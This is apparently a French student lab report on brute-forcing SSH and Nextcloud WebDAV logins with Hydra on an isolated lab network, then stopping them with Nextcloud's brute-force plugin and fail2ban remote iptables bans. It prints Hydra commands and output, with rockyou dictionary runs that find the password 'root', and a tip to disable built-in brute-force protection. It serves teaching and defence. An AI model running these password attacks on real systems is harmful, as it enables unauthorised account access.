

TP FAIL2BAN

Table des matières:

Plan d'adressages:	3
mise en place infrastructure	3
Brute force:	3
brute force en ssh le proxy:	4

Plan d'adressages:

nx-kali	10.10.101.201	/30
nx-Proxy	10.10.101.202 192.168.150.1	/30 /24
nx-cloud	192.168.150.10	/24
nx-fail2ban	192.168.150.250	/24

mise en place infrastructure

ping next cloud vers proxy réussi et vers l'autre réseaux rate:

```
root@debian:~# ping 10.10.101.201
PING 10.10.101.201 (10.10.101.201) 56(84) bytes of data.
^C
--- 10.10.101.201 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2036ms

root@debian:~# ping 10.10.101.202
PING 10.10.101.202 (10.10.101.202) 56(84) bytes of data.
^C
--- 10.10.101.202 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3076ms

root@debian:~# ping 192.168.150.1
PING 192.168.150.1 (192.168.150.1) 56(84) bytes of data.
64 bytes from 192.168.150.1: icmp_seq=1 ttl=64 time=0.370 ms
^C
--- 192.168.150.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.370/0.370/0.370/0.000 ms
root@debian:~# _
```

Brute force:

La force brute est une attaque qui consiste à essayer beaucoup de mots de passe automatiquement jusqu'à trouver le bon.

brute force en ssh le proxy:

pour brute force avec hydra il faut utiliser cette commande:

```
hydra -l root -x 3:4:1 -V ssh://10.10.101.202
```

-x pour brute force -V pour afficher les différentes tentatives puis

taille_min_mdp:taille_max:caractere_utiliser

pour les caractères utiliser en écrivant aA1 on prend toutes les majuscules minuscules et chiffres, on peut aussi donner seulement quelques caractères spécifiques comme avec la commande: `hydra -l root -x 3:4:rot -V ssh://10.10.101.202`

```

└─$ hydra -l root -x 3:4:rot -v ssh://10.10.101.202
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
  government or law enforcement related projects or products

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-19 14:17:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) f
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:1/p:108), ~7 tries
[DATA] attacking ssh://10.10.101.202:22/
[ATTEMPT] target 10.10.101.202 - login "root" - pass "rrr" - 1 of 108 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "rro" - 2 of 108 [child 1] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "rrt" - 3 of 108 [child 2] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "ror" - 4 of 108 [child 3] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "roo" - 5 of 108 [child 4] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "rot" - 6 of 108 [child 5] (0/0)
[ATTEMPT] target 10.10.101.202 - login "root" - pass "rtr" - 7 of 108 [child 6] (0/0)

```

```

dec. 03 14:56:00 debian sshd-session[1279]: PAM service(sshd) ignoring max retries; 6 > 3
dec. 03 14:56:00 debian sshd-session[1282]: error: maximum authentication attempts exceeded for test from 10.10.101.201 port 33938 ssh2 [preauth]
dec. 03 14:56:00 debian sshd-session[1282]: Disconnecting authenticating user test 10.10.101.201 port 33938: Too many authentication failures [preauth]
dec. 03 14:56:00 debian sshd-session[1282]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.101.201 user=test
dec. 03 14:56:00 debian sshd-session[1282]: PAM service(sshd) ignoring max retries; 6 > 3
dec. 03 14:56:00 debian unix_chkpud[1396]: password check failed for user (test)
dec. 03 14:56:00 debian sshd-session[1385]: Failed password for test from 10.10.101.201 port 56084 ssh2
dec. 03 14:56:01 debian sshd-session[1278]: Failed password for test from 10.10.101.201 port 33918 ssh2
dec. 03 14:56:01 debian sshd-session[1381]: Failed password for test from 10.10.101.201 port 56060 ssh2
dec. 03 14:56:01 debian sshd-session[1390]: Failed password for test from 10.10.101.201 port 56100 ssh2
dec. 03 14:56:01 debian sshd-session[1267]: Failed password for test from 10.10.101.201 port 33866 ssh2
dec. 03 14:56:02 debian sshd-session[1267]: error: maximum authentication attempts exceeded for test from 10.10.101.201 port 33866 ssh2 [preauth]
dec. 03 14:56:02 debian sshd-session[1267]: Disconnecting authenticating user test 10.10.101.201 port 33866: Too many authentication failures [preauth]
dec. 03 14:56:02 debian sshd-session[1267]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.101.201 user=test
dec. 03 14:56:02 debian sshd-session[1267]: PAM service(sshd) ignoring max retries; 6 > 3
dec. 03 14:56:02 debian sshd-session[1398]: Failed password for test from 10.10.101.201 port 56096 ssh2
dec. 03 14:56:02 debian sshd-session[1278]: error: maximum authentication attempts exceeded for test from 10.10.101.201 port 33918 ssh2 [preauth]
dec. 03 14:56:02 debian sshd-session[1278]: Disconnecting authenticating user test 10.10.101.201 port 33918: Too many authentication failures [preauth]
dec. 03 14:56:02 debian sshd-session[1278]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.101.201 user=test
dec. 03 14:56:02 debian sshd-session[1278]: PAM service(sshd) ignoring max retries; 6 > 3
dec. 03 14:56:02 debian unix_chkpud[1397]: password check failed for user (test)
dec. 03 14:56:02 debian unix_chkpud[1398]: password check failed for user (test)
dec. 03 14:56:02 debian unix_chkpud[1400]: password check failed for user (test)
lines 214-262/262 (END)

```

brute force nextcloud:

pour attaquer next cloud la méthode est totalement différente il faut attaquer et plus compliqué à comprendre:

ici on attaque précisément `http-get /remote.php/dav/files/admins` car cela cible une ressource précise du serveur web correspondant à l'interface WebDAV de Nextcloud, qui est protégée par une authentification.

Cette attaque est réalisée sur cette URL car l'accès se fait via des requêtes HTTP GET, utilisées par le service pour vérifier les identifiants.

Il n'est pas possible d'utiliser la méthode POST, car la page de connexions ne repose pas sur un formulaire d'authentification classique envoyant les données en POST, mais sur une authentification HTTP intégrée au protocole WebDAV.

```

(test@kali)~$ hydra -l admin -x 4:4:rot -vv 10.10.101.202 http-get /remote.php/dav/files/admins
[ATTEMPT] target 10.10.101.202 - login "admin" - pass "ootr" - 43 of 81 [child 5] (0/0)
[ATTEMPT] target 10.10.101.202 - login "admin" - pass "ooto" - 44 of 81 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login "admin" - pass "oott" - 45 of 81 [child 8] (0/0)
[80][http-get] host: 10.10.101.202 login: admin password: root

```

Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:17
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:17
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:17
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:17
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 10:40:16

Niveau: Avertissement

App: core

Date et heure: 16 déc. 2025, 11:22:41

X

Copier l'entrée brute

Copier l'entrée formatée

Entrée brute dans le journal

```
{
  "reqId": "XL7IBRE1xh0EsUWPl6Yw",
  "level": 2,
  "time": "2025-12-16T10:22:41+00:00",
  "remoteAddr": "192.168.150.1",
  "user": "--",
  "app": "core",
  "method": "GET",
  "url": "/remote.php/dav/files/admin",
  "message": "Login failed: 'admin' (Remote IP: '192.168.150.1')",
  "userAgent": "Mozilla/4.0 (Hydra)",
  "version": "32.0.2.2",
  "data": {
    "app": "core"
  },
  "id": "694132f142942"
}
```

pensez à désactiver le plugin anti brute force qui est installer de bases dans /var/www/nextcloud/config/config.php

```

    'installed' => true,
    'auth.bruteforce.protection.enabled' => false,

```

attaques par dictionnaire:

L'**attaque par dictionnaire** est une méthode d'attaque qui consiste à tester automatiquement une liste de mots de passe courants sur un compte ou un service, dans l'objectif de trouver le mot de passe correct.

La commande pour l'attaque par dico n'est pas très différente de celle par brute force on utilise l'option -p aux lieux de -x et on précise le lien vers le dictionnaires vers cloud en dico

```
hydra 1 root -p /usr/share/wordlists/rockyou.txt -t 1 -V ssh://10.10.101.202
```

```
$ hydra -l admin -p /usr/share/wordlists/rockyou.txt -t 1 -V 10.10.101.202 http-get /remote.php/dav/files/admin
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-16 11:17:19
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting. ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 14344400 login tries (l:1/p:14344400), ~14344400 tries per task
[DATA] attacking http-get://10.10.101.202:80/remote.php/dav/files/admin
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass '123456' - 1 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass '12345' - 2 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass '123456789' - 3 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass 'password' - 4 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass 'iloveyou' - 5 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'admin' - pass 'root' - 6 of 14344400 [child 0] (0/0)
[00][http-get] host: 10.10.101.202 login: admin password: root
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-16 11:17:33
```

Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 11:17:33	...
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 11:17:32	...
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 11:17:32	...
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 11:17:31	...
Avertisse...	core	Login failed: 'admin' (Remote IP: '192.168.150.1')	16 déc. 2025, 11:17:31	...

Niveau: Avertissement App: core Date et heure: 16 déc. 2025, 11:17:33

 Copier l'entrée brute  Copier l'entrée formatée

Entrée brute dans le journal

```
{
  "reqId": "sgcaJPM0pBZ9CVree39B",
  "level": 2,
  "time": "2025-12-16T10:17:33+00:00",
  "remoteAddr": "192.168.150.1",
  "user": "--",
  "app": "core",
  "method": "GET",
  "url": "/remote.php/dav/files/admin",
  "message": "Login failed: 'admin' (Remote IP: '192.168.150.1')",
  "userAgent": "Mozilla/4.0 (Hydra)",
  "version": "32.0.2.2",
  "data": {
    "app": "core"
  },
  "id": "6941324fc0797"
}
```

ssh vers le proxy

```
$ hydra -l root -p /usr/share/wordlists/rockyou.txt -t 1 -V ssh://10.10.101.202
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-16 11:28:40
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting. ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 14344400 login tries (l:1/p:14344400), ~14344400 tries per task
[DATA] attacking ssh://10.10.101.202:22/
[ATTEMPT] target 10.10.101.202 - login 'root' - pass '123456' - 1 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'root' - pass '12345' - 2 of 14344400 [child 0] (0/0)
[ATTEMPT] target 10.10.101.202 - login 'root' - pass 'root' - 3 of 14344400 [child 0] (0/0)
[22][ssh] host: 10.10.101.202 login: root password: root
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-16 11:28:56
```

```
1569]: PAM service(sshd) ignoring max retries; 0 > 0
1569]: Invalid user admin from 10.10.101.201 port 40058
1569]: pam_unix(sshd:auth): check pass; user unknown
1569]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.101.201
1569]: Failed password for invalid user admin from 10.10.101.201 port 40058 ssh2
1569]: Connection closed by invalid user admin 10.10.101.201 port 40058 [preauth]
1573]: password check failed for user (root)
1573]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.101.201 user=root
1573]: Failed password for root from 10.10.101.201 port 55514 ssh2
1573]: password check failed for user (root)
1573]: Failed password for root from 10.10.101.201 port 55514 ssh2
1573]: Accepted password for root from 10.10.101.201 port 55514 ssh2
1573]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)
1573]: pam_unix(sshd:session): session closed for user root
```

plugin brute force

le plugin s'active sur l'interface web dans applications

Applications désactivées	Auditing / Logging	1.22.0	✓ En vedette	Activer
Packs d'applications	Brute-force settings	5.0.0-dev.0	✓ En vedette	Activer
Applications en vedette	Default encryption module	2.20.0	✓ En vedette	Activer

la configurations ce fait en ligne de commande

```
sudo -u www-data php occ config:app:set brute_force_protection nb_attempts --value=5
sudo -u www-data php occ config:app:set brute_force_protection block_duration --value=600
sudo -u www-data php occ config:app:set brute_force_protection ip_block_duration --value=3600
```

Erreur	webdav	TooManyRequests	Exception thrown: OCA\DAV\Connector\Sabre\Exception\TooManyRequests	17 déc. 2025, 10:32:42	...
Erreur	webdav	TooManyRequests	Exception thrown: OCA\DAV\Connector\Sabre\Exception\TooManyRequests	17 déc. 2025, 10:32:42	...

Too many requests

There were too many requests from your network. Retry later or contact your administrator if this is an error.

fail2ban:

installer iptables sur toutes les serveur est mettre en place des cle entre les serveur et le fail2ban pour qu'il puissent rajouter ou supprimer des règles de parefeu.

création de la clé:

```
ssh-keygen -t ed25519 -f /root/.ssh/fail2ban_key
```

déploiement de la cle:

```
ssh-copy-id -i /root/.ssh/fail2ban_key.pub fail2ban@Ipserveur
```

test de connexions avec cette clé:

```
ssh -i /root/.ssh/fail2ban_key fail2ban@Ipserveur
```

on doit autoriser fail2ban a modifier les regles sans acces complet en root pour cela on utilise visudo et on rajoute la ligne :

fail2ban ALL=(ALL) NOPASSWD: /sbin/iptables
pour qu'il puisse exécuter seulement iptables

fail2ban:

pour bloquer le ssh on utilise le filtre par défaut sshd et on cree une action dans `/etc/fail2ban/action.d/nomaction.conf`

[Definition]

```
actionban = ssh -i /root/.ssh/fail2ban_key -o StrictHostKeyChecking=no
fail2ban@Ipserveur "sudo iptables -I INPUT -s <ip> -p tcp --dport 22 -j DROP"

actionunban = ssh -i /root/.ssh/fail2ban_key -o StrictHostKeyChecking=no
fail2ban@Ipserveur "sudo iptables -D INPUT -s <ip> -p tcp --dport 22 -j DROP"
```

et une prison dans `/etc/fail2ban/jail.d/nomprison.conf`

```
[sshd-remote]
enabled    = true
filter     = sshd
logpath    = /var/log/serveur/sshd-session.log

maxretry   = 3
findtime   = 10m
bantime    = 4h

action     = nomaction
```

```
root@debian:/var/log/reverse-proxy# fail2ban-client status ssh
Status for the jail: ssh
|- Filter
|  |- Currently failed: 1
|  |- Total failed:    226
|  `-- File list:      /var/log/reverse-proxy/sshd-session.log
`- Actions
   |- Currently banned: 1
   |- Total banned:    1
   `-- Banned IP list: 10.10.101.201
root@debian:/var/log/reverse-proxy#
```

```
(test@kali)-[~]
$ ssh root@10.10.101.202
```

Kali n'arrive plus à se connecter et ne renvoie rien.